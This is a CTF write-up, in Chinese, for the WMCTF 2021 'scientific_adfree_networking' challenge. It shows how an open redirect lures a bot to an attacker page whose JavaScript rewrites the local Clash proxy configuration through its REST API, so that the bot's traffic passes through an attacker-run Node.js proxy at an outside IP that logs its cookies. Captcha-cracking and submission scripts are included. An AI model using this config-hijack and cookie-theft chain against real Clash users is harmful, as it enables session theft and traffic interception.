WMCTF 2021 scientific_adfree_networking WriteUp
scientific_adfree_networking
这道题挺有意思
更新clash配置
题目说明浏览器使用的是clash代理,clash当配置了external-controller时可以使用restfulapi进行简单的控制。
api可以看https://github.com/Dreamacro/clash/wiki/external-controller-API-reference和https://clash.gitbook.io/doc/restful-api/config#zhong-xin-jia-zai-pei-zhi-wen-jian
在clash得源码中可以看到完整得

api的地址就是external-controller指定的位置,也就是题目中的127.0.0.1:9090
查看api我们可以更新clash的配置。文档中可以根据配置文件地址整体更新或者更新部分参数。

一开始我看到了clash有一个ExternalUI的配置,这个配置指定了一个地址clash会以这个地址为根目录起一个http服务器映射到external-controller api的/ui

那么如果可控这个配置就能利用这个api下载任意位置文件了,猜测secret_key可能是写死在py文件中或者flag写死在模板/环境变量中。
不过看源码clash只会在启动的时候处理一次ExternalUI参数,这个思路就断了。
修改代理
后来又想到一个思路是修改clash的配置,让浏览器走我们的代理,然后再次访问blog.tomswebsite.com:8888,这样的话我们就能抓到bot登陆blog.tomswebsite.com:8888 的cookie。
上面给出的api文档无论是官方的和第三方的都不全或者有小错误,他们显示的能更新的配置很少,整体更新只能通过指定配置文件的方式更新。因为使用的是chrome,我的思路一开始是加载页面时返回Content-Disposition
头,让浏览器自动下载到Download目录,而恰巧我们也可以从描述中知道用户为tom,那么整体路径就是/home/tom/Downloads/clash.conf
<?php
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=abcd.conf");
readfile("clash.conf");#
但不管怎么搞都是返回找不到文件,我本地用selenium模拟了都可以,很迷。

最后查看clash的源码,发现了文档中未标明的更新配置的方式,我们还可以通过直接传递配置的所有数据的方式更新整体。

根据其源码我们构造的更新的请求应该为curl -X PUT -H "Content-Type: application/json" -d '{"payload": "xxxx"}' ""http://127.0.0.1:9090/configs?force=true"
, 其中xxxx内容为配置内容。
所以准备好要更新的配置,让所有内容都走我的http代理
mixed-port: 1080
allow-lan: false
mode: Rule
log-level: debug
external-controller: '127.0.0.1:9090'
proxies:
- name: 'http'
type: http
server: 159.75.23.54
port: 20002
proxy-groups:
- name: 'jrxnm'
type: select
proxies:
- http
rules:
- IP-CIDR,127.0.0.0/8,jrxnm
- MATCH,jrxnm
bot访问url
在/logut?next=xxxx
是存在任意url跳转的,所以可以在report时让bot访问我们的url。
准备的payload如下,内容是先更新配置,再跳转回blog.tomswebsite.com:8888
<html>
<body></body>
<script>
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function setConfig(){
config = '{"payload":"mixed-port: 1080\\nallow-lan: true\\nmode: Rule\\nlog-level: debug\\nexternal-controller: \'127.0.0.1:9090\'\\n\\nproxies:\\n - name: \'http\'\\n type: http\\n server: 159.75.23.54\\n port: 20002\\n\\nproxy-groups:\\n - name: \'jrxnm\'\\n type: select\\n proxies:\\n - http\\n\\nrules:\\n - IP-CIDR,127.0.0.0/8,jrxnm\\n - MATCH,jrxnm\\n"}';
console.log(config);
fetch("http://127.0.0.1:9090/configs", {
method: 'PUT',
headers: new Headers({
'Content-Type': 'application/json'
}),
body: config,
}).then(function(response) {
return response.text();
}).then(function(data) {
}).catch(function(e) {
console.log("error");
});
}
(async function() {
setConfig();
await sleep(300);
location.href = "http://blog.tomswebsite.com:8888";
})();
</script>
</html>
接收cookie
要接收cookie得搭好代理, clash走的http代理是一种隧道代理,先通过 CONNECT 方法请求隧道代理创建 TCP 连接。
用js搭一个简单的http代理
var http = require('http');
var net = require('net');
var url = require('url');
function request(cReq, cRes) {
var u = url.parse(cReq.url);
console.log(cReq.headers);
var options = {
hostname : u.hostname,
port : u.port || 80,
path : u.path,
method : cReq.method,
headers : cReq.headers
};
var pReq = http.request(options, function(pRes) {
cRes.writeHead(pRes.statusCode, pRes.headers);
pRes.pipe(cRes);
}).on('error', function(e) {
cRes.end();
});
cReq.pipe(pReq);
}
function connect(cReq, cSock) {
console.log(cReq.url);
var u = url.parse('http://' + cReq.url);
cSock.on('data', function(data){
console.log(data.toString());
})
var pSock = net.connect(u.port, u.hostname, function() {
cSock.write('HTTP/1.1 200 Connection Established\r\n\r\n');
pSock.pipe(cSock);
}).on('error', function(e) {
//cSock.end();
});
cSock.pipe(pSock);
}
http.createServer()
.on('request', request)
.on('connect', connect)
.listen(20002, '0.0.0.0');
因为服务器是无法连接blog.tomswebsite.com的,所以为了让代理能正常运行,修改服务器hosts添加
127.0.0.1 blog.tomswebsite.com
然后再在本地8888端口随便搭一个http服务
getflag
import requests
import hashlib
import re
url = "http://eci-2zeeotpb5pjrheeobbtm.cloudeci1.ichunqiu.com:8888/report"
def jm_md5(value):
hsobj = hashlib.md5()
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest()
def get_code(like):
for i in range(100000,999999):
m = jm_md5('WMCTF_' + str(i))
if m[:6] == like:
return 'WMCTF_' + str(i)
def getCap(s):
res = s.get(url)
rrr = re.findall(r'\[:6\]==([a-f0-9]{6})<', res.text)
if(rrr):
like = rrr[0]
code = get_code(like)
return code
def send(payload="logout?next=http://159.75.23.54:22225/1.html"):
s = requests.Session()
Cap = getCap(s)
print(Cap)
data = {
"title": payload,
"body": "asdasd",
"captcha": Cap
}
res = s.post(url, data=data)
if("Success" in res.text):
print("success")
send()
接收到cookie

因为是访问了logout,所以cookie已经失效。解码拿到账号密码

登陆看到flag
